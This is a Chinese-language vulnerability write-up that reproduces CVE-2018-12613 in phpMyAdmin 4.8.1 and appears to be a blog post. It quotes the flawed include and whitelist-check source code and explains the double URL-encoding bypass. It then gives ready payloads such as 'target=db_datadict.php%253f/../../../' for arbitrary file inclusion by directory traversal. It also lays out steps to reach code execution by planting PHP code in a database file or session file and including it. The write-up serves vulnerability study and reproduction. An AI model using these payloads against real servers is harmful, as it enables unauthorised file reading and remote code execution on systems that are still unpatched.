phpmyadmin任意包含文件漏洞及任意代码执行漏洞(CVE-2018-12613)

phpmyadmin任意包含文件漏洞及任意代码执行漏洞

打开页面后,用御剑对网址进行扫描,发现http://url/phpmyadmin/可以进入到phpmyadmin的界面中,此时我们可以想到phpmyadmin4.8.1的任意包含漏洞及任意执行代码漏洞,可以从网址:https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip中下载本地,然后用php5.6版本进行复现

通过审计源码
我们可以从index.php文件中50-63行代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$target_blacklist = array (
'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}

发现只要满足一下五个条件:

1
2
3
4
5
6
7
8
9
1. $_REQUEST['target']不为空

2. $_REQUEST['target']是字符串

3. $_REQUEST['target']不以index开头

4. $_REQUEST['target']含有的文件不在$target_blacklist=array('import.php','export.php')中

5. Core::checkPageValidity($_REQUEST['target'])为真

而在libraries\classes\Core.php 443-476行的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

其中如果$whilelist为空的话,会自动导入$goto_whilelist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);

mb_strpos

1
2
3
格式:mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] )

含义:int查找 string 在一个 string 中首次出现的位置。基于字符数执行一个多字节安全的 strpos() 操作。 第一个字符的位置是 0,第二个字符的位置是 1,以此类推

$_page是取出$page问号前的东西,是考虑到target有参数的情况的话,只要$_page在白名单里面就会返回ture,所以如果第一个步骤不成功的话,还会进行一次url解码,再次进行相同的判断

由于服务器会自动进行一次url解码,所以我们传入二次编码后,会触发checkPageValidity()函数中url解码后的判断,判断问号前面的文件是否在白名单中,在的话返回true,因此构造payload:

1
2
3
4
5
一开始:?index.php?target=db_dataict.php%253f/../../../文件名

服务器url解码后:?index.php?target=db_dataict.php%3f/../../../文件名

checkPageValidity()函数里的url解码后·:?index.php?target=db_dataict.php?/../../../文件名

但是在index.php中$_REQUEST[‘target’]仍然是db_datadict.php%3f,而且会被include,通过目录穿越,造成任意文件包含

任意文件包含

通过目录穿越看系统目录下的文件

构造payload:

1
index.php?target=db_datadict.php%253f/../../../文件名

其中../的数量看实际情况

任意代码执行

包含数据库中的文件(include包含文件,如果文件是php文件的话,则会执行,如果不是,则会返回文件中的内容)

先查一下数据库的路径:

1
show global variables like "%datadir%"

而后创建数据库及库中的表及表中的字段内容,内容可以为php代码,之后构造payload进行文件包含,并执行恶意代码

包含session文件

session文件路径以实际为主
构造sql语句并夹杂恶意代码,如下:

1
SELECT "php代码"

而后可以使用火狐的web开发者工具中的存储选项中的cookie值中phpmyadmin中的value值,这是生成的session文件名,一般存储位置为上面的数据库路径中的mysql/data改为tmp/tmp

1
?target=db_datadict.php%253f/../../../按实际情况定/按实际情况定/tmp/tmp/sess_cookie中的phpmyadmin中的value值

而其中../以实际为主,要一个一个试

详细请看:https://www.cnblogs.com/leixiao-/p/10265150.html#autoid-1-0-0